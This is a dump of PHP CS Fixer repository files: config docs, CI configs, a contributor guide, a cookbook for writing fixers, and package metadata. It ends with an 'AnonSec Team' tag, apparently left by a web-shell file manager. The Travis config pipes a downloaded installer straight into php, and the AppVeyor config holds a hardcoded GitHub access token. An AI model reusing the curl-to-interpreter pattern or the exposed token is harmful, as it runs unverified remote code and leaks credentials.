Instead of using command line options to customize the fixer, you can save the
configuration in a ``.php_cs`` file in the root directory of
your project. The file must return an instance of
``Symfony\CS\ConfigInterface``, which lets you configure the fixers, the level, the files,
and directories that need to be analyzed. The example below will add two contrib fixers
to the default list of symfony-level fixers:

.. code-block:: php

    <?php

    $finder = Symfony\CS\Finder\DefaultFinder::create()
        ->exclude('somedir')
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->fixers(array('strict_param', 'short_array_syntax'))
        ->finder($finder)
    ;

If you want complete control over which fixers you use, you may use the empty level and
then specify all fixers to be used:

.. code-block:: php

    <?php

    $finder = Symfony\CS\Finder\DefaultFinder::create()
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->level(Symfony\CS\FixerInterface::NONE_LEVEL)
        ->fixers(array('trailing_spaces', 'encoding'))
        ->finder($finder)
    ;

You may also use a blacklist for the Fixers instead of the above shown whitelist approach.
The following example shows how to use all ``symfony`` Fixers but the ``psr0`` fixer.
Note the additional ``-`` in front of the Fixer name.

.. code-block:: php

    <?php

    $finder = Symfony\CS\Finder\DefaultFinder::create()
        ->exclude('somedir')
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->fixers(array('-psr0'))
        ->finder($finder)
    ;

The ``symfony`` level is set by default, you can also change the default level:

.. code-block:: php

    <?php

    return Symfony\CS\Config\Config::create()
        ->level(Symfony\CS\FixerInterface::PSR2_LEVEL)
    ;

In combination with these config and command line options, you can choose various usage.

For example, default level is ``symfony``, but if you also don't want to use
the ``psr0`` fixer, you can specify the ``--fixers="-psr0"`` option.

But if you use the ``--fixers`` option with only exact fixers,
only those exact fixers are enabled whether or not level is set.

With the ``--config-file`` option you can specify the path to the
``.php_cs`` file.

Caching
-------

You can enable caching by returning a custom config with caching enabled. This will
speed up further runs.

.. code-block:: php

    <?php

    return Symfony\CS\Config\Config::create()
        ->setUsingCache(true)
    ;

Helpers
-------

Dedicated plugins exist for:

* `Atom`_
* `NetBeans`_
* `PhpStorm`_
* `Sublime Text`_
* `Vim`_

Contribute
----------

The tool comes with quite a few built-in fixers and finders, but everyone is
more than welcome to `contribute`_ more of them.

Fixers
~~~~~~

A *fixer* is a class that tries to fix one CS issue (a ``Fixer`` class must
implement ``FixerInterface``).

Configs
~~~~~~~

A *config* knows about the CS level and the files and directories that must be
scanned by the tool when run in the directory of your project. It is useful for
projects that follow a well-known directory structures (like for Symfony
projects for instance).

.. _php-cs-fixer.phar: https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v1.11.6/php-cs-fixer.phar
.. _Atom:              https://github.com/Glavin001/atom-beautify
.. _NetBeans:          http://plugins.netbeans.org/plugin/49042/php-cs-fixer
.. _PhpStorm:          http://tzfrs.de/2015/01/automatically-format-code-to-match-psr-standards-with-phpstorm
.. _Sublime Text:      https://github.com/benmatselby/sublime-phpcs
.. _Vim:               https://github.com/stephpy/vim-php-cs-fixer
.. _contribute:        https://github.com/FriendsOfPhp/php-cs-fixer/blob/master/CONTRIBUTING.md
php-cs-fixer/appveyor.yml000066600000001775151456236460011473 0ustar00build: off
version: dev-{build}
shallow_clone: false
clone_folder: C:\projects\php-cs-fixer

environment:
    matrix:
        - php_ver: 5.6.3

cache:
    - '%APPDATA%\Composer'

install:
    - choco install -y php -version %php_ver%
    - SET PATH=C:\tools\php;%PATH%
    - cd C:\tools\php
    - copy php.ini-production php.ini
    - echo date.timezone="UTC" >> php.ini
    - echo memory_limit=512M >> php.ini
    - echo extension_dir=ext >> php.ini
    - echo extension=php_curl.dll >> php.ini
    - echo extension=php_openssl.dll >> php.ini
    - cd C:\tools
    - appveyor DownloadFile https://getcomposer.org/composer.phar
    - appveyor DownloadFile https://phar.phpunit.de/phpunit.phar
    - git config --global github.accesstoken 5e7538aa415005c606ea68de2bbbade0409b4b8c

before_test:
    - cd C:\projects\php-cs-fixer
    - php C:\tools\composer.phar update --no-interaction

test_script:
    - cd C:\projects\php-cs-fixer
    - php C:\tools\phpunit.phar --verbose
    - php php-cs-fixer --diff --dry-run -v fix
php-cs-fixer/.editorconfig000066600000000202151456236460011540 0ustar00root = true
[*]
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 4
trim_trailing_whitespace = true
php-cs-fixer/phpunit.xml.dist000066600000002754151456236460012254 0ustar00<?xml version="1.0" encoding="UTF-8"?>

<phpunit backupGlobals="false"
         backupStaticAttributes="false"
         colors="true"
         convertErrorsToExceptions="true"
         convertNoticesToExceptions="true"
         convertWarningsToExceptions="true"
         processIsolation="false"
         stopOnFailure="false"
         syntaxCheck="false"
         bootstrap="./vendor/autoload.php"
>
    <testsuites>
        <testsuite name="general">
            <directory>./Symfony/CS/Tests/</directory>
            <exclude>
                <directory>./Symfony/CS/Tests/Fixer/</directory>
                <directory>./Symfony/CS/Tests/Fixtures/</directory>
                <directory>./Symfony/CS/Tests/Tokenizer/</directory>
            </exclude>
        </testsuite>
        <testsuite name="fixer">
            <directory>./Symfony/CS/Tests/Fixer/</directory>
        </testsuite>
        <testsuite name="tokenizer">
            <directory>./Symfony/CS/Tests/Tokenizer/</directory>
        </testsuite>
        <testsuite name="docblock">
            <directory>./Symfony/CS/Tests/DocBlock/</directory>
        </testsuite>
    </testsuites>

    <filter>
        <whitelist>
            <directory>./Symfony/CS</directory>
            <exclude>
                <directory>./Symfony/CS/Resources</directory>
                <directory>./Symfony/CS/Tests</directory>
            </exclude>
        </whitelist>
    </filter>

    <php>
        <ini name="zend.enable_gc" value="0"/>
    </php>
</phpunit>
php-cs-fixer/CONTRIBUTING.md000066600000004246151456236460011330 0ustar00# Contributions are welcome!

## Quick guide

 * Fork the repo.
 * Checkout the branch you want to make changes on:
  * Master if you make changes to the code that are not backward compatible.
  * Default branch when adding new features.
  * Branch before the default if you are fixing a bug for an existing feature (or the default/master branch if the feature was introduced in that version).
 * Install dependencies: `composer install`.
 * Create branch, e.g. `feature-foo` or `bugfix-bar`.
 * Make changes.
 * If you are adding functionality or fixing a bug - add a test!
 * Fix project itself: `php php-cs-fixer fix`.
 * Regenerate readme: `php php-cs-fixer readme > README.rst`. Do not modify `README.rst` manually!
 * Check if tests pass: `phpunit` [(4.*)](https://phpunit.de/manual/current/en/installation.html)

## Opening a pull request

You can do some things to increase the chance that your pull request is accepted the first time:

 * Submit one pull request per fix or feature.
 * If your changes are not up to date - rebase your branch on master.
 * Follow the conventions used in the project.
 * Remember about tests and documentation.
 * Don't bump version.

## Making new fixers

There is a [cookbook](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/COOKBOOK-FIXERS.md) with basic instructions on how to build a new fixer. Consider reading it
before opening a PR.

## Project's standards

 * [PSR-1: Basic Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-1-basic-coding-standard.md)
 * [PSR-2: Coding Style Guide](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)
 * [PSR-4: Autoloading Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-4-autoloader.md)
 * [PSR-5: PHPDoc (draft)](https://github.com/phpDocumentor/fig-standards/blob/master/proposed/phpdoc.md)
 * [Symfony Coding Standards](http://symfony.com/doc/current/contributing/code/standards.html)
 * Keep the order of class elements: static properties, instance properties, constructor (or setUp for PHPUnit), destructor (or tearDown for PHPUnit), static methods, instance methods, magic static methods, magic instance methods.
php-cs-fixer/.gitignore000066600000000041151456236460011054 0ustar00composer.lock
phpunit.xml
vendor
php-cs-fixer/LICENSE000066600000002051151456236460010074 0ustar00Copyright (c) 2012-2016 Fabien Potencier

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
php-cs-fixer/COOKBOOK-FIXERS.md000066600000032423151456236460011623 0ustar00Cookbook - Making a new Fixer for PHP CS Fixer
==============================================

You want to make a new fixer to PHP CS Fixer and do not know how to
start. Follow this document and you will be able to do it.

## Background

In order to be able to create a new fixer, you need some background.
PHP CS Fixer is a transcompiler which takes valid PHP code and pretty
print valid PHP code. It does all transformations in multiple passes,
a.k.a., multi-pass compiler.

Therefore, a new fixer is meant to be ideally
[idempotent](http://en.wikipedia.org/wiki/Idempotence#Computer_science_meaning),
or at least atomic in its actions. More on this later.

All contributions go through a code review process. Do not feel
discouraged - it is meant only to give more people more chance to
contribute, and to detect bugs ([Linus'
Law](http://en.wikipedia.org/wiki/Linus%27s_Law)).

If possible, try to get acquainted with the public interface for the
[Symfony/CS/Tokenizer/Tokens.php](Symfony/CS/Tokenizer/Tokens.php)
and [Symfony/CS/Tokenizer/Token.php](Symfony/CS/Tokenizer/Token.php)
classes.

## Assumptions

* You are familiar with Test Driven Development.
* Forked FriendsOfPHP/PHP-CS-Fixer into your own Github Account.
* Cloned your forked repository locally.
* Downloaded PHP CS Fixer and have executed `php composer.phar
install`.
* You have read [`CONTRIBUTING.md`](CONTRIBUTING.md)

## Step by step

For this step-by-step, we are going to create a simple fixer that
removes all comments of the code that are preceded by ';' (semicolon).

We are calling it `remove_comments` (code name), or,
`RemoveCommentsFixer` (class name).

### Step 1 - Creating files

Create a new file in
`PHP-CS-Fixer/Symfony/CS/Fixer/Contrib/RemoveCommentsFixer.php`.
Put this content inside:
```php
<?php
/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Your name <your@email.com>
 */
final class RemoveCommentsFixer extends AbstractFixer
{
}
```

Note how the class and file name match. Also keep in mind that all
fixers must implement `FixerInterface`. In this case, the fixer is
inheriting from `AbstractFixer`, which fulfills the interface with some
default behavior.

Now let us create the test file at
`Symfony/CS/Tests/Fixer/Contrib/RemoveCommentsFixerTest.php` . Put this
content inside:

```php
<?php
/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Your name <your@email.com>
 *
 * @internal
 */
final class RemoveCommentsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array();
    }
}
```

The files are created, one thing is still missing though: we need to
update the README.md. Fortunately, PHP CS Fixer can help you here.
Execute the following command in your command shell:

`# php php-cs-fixer readme > README.rst`

### Step 2 - Using tests to define fixers behavior

Now that the files are created, you can start writing test to define the
behavior of the fixer. You have to do it in two ways: first, ensuring
the fixer changes what it should be changing; second, ensuring that
fixer does not change what is not supposed to change. Thus:

#### Keeping things as they are:
`Symfony/CS/Tests/Fixer/Contrib/RemoveCommentsFixerTest.php`@provideFixCases:
```php
    ...
    public function provideFixCases()
    {
    	return array(
    		array('<?php echo "This should not be changed";') // Each sub-array is a test
    	);
    }
    ...
```

#### Ensuring things change:
`Symfony/CS/Tests/Fixer/Contrib/RemoveCommentsFixerTest.php`@provideFixCases:
```php
    ...
    public function provideFixCases()
    {
    	return array(
    		array(
    			'<?php echo "This should be changed"; ', // This is expected output
    			'<?php echo "This should be changed"; /* Comment */', // This is input
    		)
    	);
    }
    ...
```

Note that expected outputs are **always** tested alone to ensure your fixer will not change it.

We want to have a failing test to start with, so the test file now looks
like:
`Symfony/CS/Tests/Fixer/Contrib/RemoveCommentsFixerTest.php`
```php
<?php
/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Your name <your@email.com>
 *
 * @internal
 */
final class RemoveCommentsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
               '<?php echo "This should be changed"; ', // This is expected output
               '<?php echo "This should be changed"; /* Comment */', // This is input
            )
        );
    }
}
```


### Step 3 - Implement your solution

You have defined the behavior of your fixer in tests. Now it is time to
implement it.

We need first to create one method to describe what this fixer does:
`Symfony/CS/Fixer/Contrib/RemoveCommentsFixer.php`:
```php
final class RemoveCommentsFixer extends AbstractFixer
{
    ...
    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Removes all comments of the code that are preceded by ";" (semicolon).'; // Trailing dot is important. We thrive to use English grammar properly.
    }
}
```

For now, let us just make a fixer that applies no modification:
`Symfony/CS/Fixer/Contrib/RemoveCommentsFixer.php`:
```php
final class RemoveCommentsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        return $tokens->generateCode();
    }
}
```

Run `vendor/bin/phpunit`. You are going to see that the tests fails.

### Break
Now we have pretty much a cradle to work with. A file with a failing
test, and the fixer, that for now does not do anything.

How do fixers work? In the PHP CS Fixer, they work by iterating through
pieces of codes (each being a Token), and inspecting what exists before
and after that bit and making a decision, usually:

 * Adding code.
 * Modifying code.
 * Deleting code.
 * Ignoring code.

In our case, we want to find all comments, and foreach (pun intended)
one of them check if they are preceded by a semicolon symbol.

Now you need to do some reading, because all these symbols obey a list
defined by the PHP compiler. It is the ["List of Parser
Tokens"](http://php.net/manual/en/tokens.php).

Internally, PHP CS Fixer transforms some of PHP native tokens into custom
tokens through the use of [Transfomers](Symfony/CS/Tokenizer/Transformer),
they aim to help you reason about the changes you may want to do in the
fixers.

So we can get to move forward, humor me in believing that comments have
one symbol name: `T_COMMENT`.

### Step 3 - Implement your solution - continuation.

We do not want all symbols to be analysed. Only `T_COMMENT`. So let us
iterate the token(s) we are interested in.
`Symfony/CS/Fixer/Contrib/RemoveCommentsFixer.php`:
```php
final class RemoveCommentsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $foundComments = $tokens->findGivenKind(T_COMMENT);
        foreach($foundComments as $index => $token){

        }

        return $tokens->generateCode();
    }
}
```

OK, now for each `T_COMMENT`, all we need to do is check if the previous
token is a semicolon.
`Symfony/CS/Fixer/Contrib/RemoveCommentsFixer.php`:
```php
final class RemoveCommentsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $foundComments = $tokens->findGivenKind(T_COMMENT);
        foreach($foundComments as $index => $token){
            $prevTokenIndex = $tokens->getPrevMeaningfulToken($index);
            $prevToken = $tokens[$prevTokenIndex];

            if($prevToken->equals(';')){
                $token->clear();
            }
        }

        return $tokens->generateCode();
    }
}
```

So the fixer in the end looks like this:
```php
<?php
/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 *
 */
namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Your name <your@email.com>
 */
final class RemoveCommentsFixer extends AbstractFixer {
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content) {
        $tokens = Tokens::fromCode($content);

        $foundComments = $tokens->findGivenKind(T_COMMENT);
        foreach ($foundComments as $index => $token) {
            $prevTokenIndex = $tokens->getPrevMeaningfulToken($index);
            $prevToken = $tokens[$prevTokenIndex];

            if ($prevToken->equals(';')) {
                $token->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription() {
        return 'Removes all comments of the code that are preceded by ";" (semicolon).';// Trailing dot is important. We thrive to use English grammar properly.
    }
}
```

### Step 4 - Format, Commit, PR.

Note that so far, we have not coded adhering to PSR-1/2. This is done on
purpose. For every commit you make, you must use PHP CS Fixer to fix
itself. Thus, on the command line call:

`$ php php-cs-fixer fix`

This will fix all the coding style mistakes.

After the final CS fix, you are ready to commit. Do it.

Now, go to Github and open a Pull Request.


### Step 5 - Peer review: it is all about code and community building.

Congratulations, you have made your first fixer. Be proud. Your work
will be reviewed carefully by PHP CS Fixer community.

The review usually flows like this:

1. People will check your code for common mistakes and logical
caveats. Usually, the person building a fixer is blind about some
behavior mistakes of fixers. Expect to write few more tests to cater for
the reviews.
2. People will discuss the relevance of your fixer. If it is
something that goes along with Symfony style standards, or PSR-1/PSR-2
standards, they will ask you to move from Symfony/CS/Fixers/Contrib to
Symfony/CS/Fixers/{Symfony, PSR2, etc}.
3. People will also discuss whether your fixer is idempotent or not.
If they understand that your fixer must always run before or after a
certain fixer, they will ask you to override a method named
`getPriority()`. Do not be afraid of asking the reviewer for help on how
to do it.
4. People may ask you to rebase your code to unify commits or to get
rid of merge commits.
5. Go to 1 until no actions are needed anymore.

Your fixer will be incorporated in the next release.

# Congratulations! You have done it.



## Q&A

#### Why is not my PR merged yet?

PHP CS Fixer is used by many people, that expect it to be stable. So
sometimes, few PR are delayed a bit so to avoid cluttering at @dev
channel on composer.

Other possibility is that reviewers are giving time to other members of
PHP CS Fixer community to partake on the review debates of your fixer.

In any case, we care a lot about what you do and we want to see it being
part of the application as soon as possible.

#### May I use short arrays (`$a = []`)?

No. Short arrays were introduced in PHP 5.4 and PHP CS Fixer still
supports PHP 5.3.6.

#### Why are you steering me to create my fixer at CONTRIB_LEVEL ?

CONTRIB_LEVEL is the most lax level - and it is far more likely to have
your fixer accepted at CONTRIB_LEVEL and later changed to SYMFOMY_LEVEL
or PSR2_LEVEL; than the other way around.

If you make your contribution directly at PSR2_LEVEL, eventually the
relevance debate will take place and your fixer might be pushed to
CONTRIB_LEVEL.

#### Why am I asked to use `getPrevMeaningfulToken()` instead of `getPrevNonWhitespace()`?

The main difference is that `getPrevNonWhitespace()` ignores only
whitespaces (`T_WHITESPACE`), while `getPrevMeaningfulToken()` ignores
whitespaces and comments. And usually that is what you want. For
example:

```php
$a->/*comment*/func();
```

If you are inspecting `func()`, and you want to check whether this is
part of an object, if you use `getPrevNonWhitespace()` you are going to
get `/*comment*/`, which might belie your test. On the other hand, if
you use `getPrevMeaningfulToken()`, no matter if you have got a comment
or a whitespace, the returned token will always be `->`.
php-cs-fixer/.php_cs000066600000001335151456236460010350 0ustar00<?php

$header = <<<EOF
This file is part of the PHP CS utility.

(c) Fabien Potencier <fabien@symfony.com>

This source file is subject to the MIT license that is bundled
with this source code in the file LICENSE.
EOF;

Symfony\CS\Fixer\Contrib\HeaderCommentFixer::setHeader($header);

return Symfony\CS\Config\Config::create()
    // use default SYMFONY_LEVEL and extra fixers:
    ->fixers(array(
        'header_comment',
        'long_array_syntax',
        'ordered_use',
        'php_unit_construct',
        'php_unit_strict',
        'strict',
        'strict_param',
    ))
    ->finder(
        Symfony\CS\Finder\DefaultFinder::create()
            ->exclude('Symfony/CS/Tests/Fixtures')
            ->in(__DIR__)
    )
;
php-cs-fixer/.travis.yml000066600000004227151456236460011207 0ustar00language: php

sudo: false

matrix:
    fast_finish: true
    include:
        - php: 5.3
          env: DEPLOY=yes COMPOSER_FLAGS="--prefer-stable --prefer-lowest"
        - php: 5.4
        - php: 5.5
        - php: 5.6
          env: SYMFONY_VERSION="~2.7"
        - php: 5.6
          env: SYMFONY_VERSION="~3.0@dev" COMPOSER_FLAGS="--prefer-stable"
        - php: 7.0
        # Use the newer stack for HHVM as HHVM does not support Precise anymore since a long time and so Precise has an outdated version
        - php: hhvm-3.9
          sudo: required
          dist: trusty
          group: edge
        - php: hhvm
          sudo: required
          dist: trusty
          group: edge

cache:
    directories:
        - $HOME/.composer/cache

before_install:
    - mv $HOME/.phpenv/versions/$(phpenv version-name)/etc/conf.d/xdebug.ini $HOME/xdebug.ini || return 0
    - 'if [ "$SYMFONY_VERSION" != "" ]; then sed -i "s/\"symfony\/\([^\"]*\)\": \"[^\"]*\"/\"symfony\/\1\": \"$SYMFONY_VERSION\"/g" composer.json; fi'

install:
    - travis_retry composer global require hirak/prestissimo
    - travis_retry composer update ${COMPOSER_FLAGS} --no-interaction

script:
    - cp $HOME/xdebug.ini $HOME/.phpenv/versions/$(phpenv version-name)/etc/conf.d/xdebug.ini || return 0
    - vendor/bin/phpunit --verbose --coverage-clover build/logs/clover.xml
    - phpenv config-rm xdebug.ini || return 0
    - php php-cs-fixer --diff --dry-run -v fix

after_success:
    - php vendor/bin/coveralls -v

before_deploy:
    - 'sed -i "s/^{/\{\n    \"config\": {\"platform\": {\"php\": \"5.3.6\"}},/" composer.json'
    - curl -LSs http://box-project.github.io/box2/installer.php | php
    - composer update --no-dev --no-interaction --optimize-autoloader --prefer-stable
    - php -d phar.readonly=false box.phar build

deploy:
    provider: releases
    api_key:
        secure: K9NKi7X1OPz898fxtVc1RfWrSI+4hTFFYOik932wTz1jC4dQJ64Khh1LV9frA1+JiDS3+R6TvmQtpzbkX3y4L75UrSnP1ADH5wfMYIVmydG3ZjTMo8SWQWHmRMh3ORAKTMMpjl4Q7EkRkLp6RncKe+FAFPP5mgv55mtIMaE4qUk=
    file: php-cs-fixer.phar
    skip_cleanup: true
    on:
        repo: FriendsOfPHP/PHP-CS-Fixer
        tags: true
        condition: $DEPLOY = yes
php-cs-fixer/box.json000066600000000674151456236460010563 0ustar00{
    "output": "php-cs-fixer.phar",
    "chmod": "0755",
    "compactors": [
        "Herrera\\Box\\Compactor\\Php"
    ],
    "extract": false,
    "files": [
        "LICENSE"
    ],
    "finder": [
        {
            "name": ["*.php"],
            "exclude": ["Tests", "tests"],
            "in": ["vendor", "Symfony"]
        }
    ],
    "git-commit": "git-commit",
    "stub": "Symfony/CS/Resources/phar-stub.php",
    "web": false
}
php-cs-fixer/php-cs-fixer000066600000002146151456236460011324 0ustar00#!/usr/bin/env php
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */

if (defined('HHVM_VERSION_ID')) {
    if (HHVM_VERSION_ID < 30900) {
        fwrite(STDERR, "HHVM needs to be a minimum version of HHVM 3.9.0\n");
        exit(1);
    }
} elseif (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50306) {
    fwrite(STDERR, "PHP needs to be a minimum version of PHP 5.3.6\n");
    exit(1);
}

set_error_handler(function ($severity, $message, $file, $line) {
    if ($severity & error_reporting()) {
        throw new ErrorException($message, 0, $severity, $file, $line);
    }
});

// installed via composer?
if (file_exists($a = __DIR__.'/../../autoload.php')) {
    require_once $a;
} else {
    require_once __DIR__.'/vendor/autoload.php';
}

use Symfony\CS\Console\Application;

$application = new Application();
$application->run();
php-cs-fixer/composer.json000066600000001773151456236460011623 0ustar00{
    "name": "fabpot/php-cs-fixer",
    "type": "application",
    "description": "A tool to automatically fix PHP code style",
    "license": "MIT",
    "authors": [
        {
            "name": "Fabien Potencier",
            "email": "fabien@symfony.com"
        },
        {
            "name": "Dariusz Rumiński",
            "email": "dariusz.ruminski@gmail.com"
        }
    ],
    "require": {
        "php": ">=5.3.6",
        "ext-tokenizer": "*",
        "symfony/console": "~2.3|~3.0",
        "symfony/event-dispatcher": "~2.1|~3.0",
        "symfony/filesystem": "~2.1|~3.0",
        "symfony/finder": "~2.1|~3.0",
        "symfony/process": "~2.3|~3.0",
        "symfony/stopwatch": "~2.5|~3.0",
        "sebastian/diff": "~1.1"
    },
    "require-dev": {
        "phpunit/phpunit": "^4.5|^5",
        "satooshi/php-coveralls": "^0.7.1"
    },
    "conflict": {
        "hhvm": "<3.9"
    },
    "autoload": {
        "psr-4": { "Symfony\\CS\\": "Symfony/CS/" }
    },
    "bin": ["php-cs-fixer"]
}

Anon7 - 2022
AnonSec Team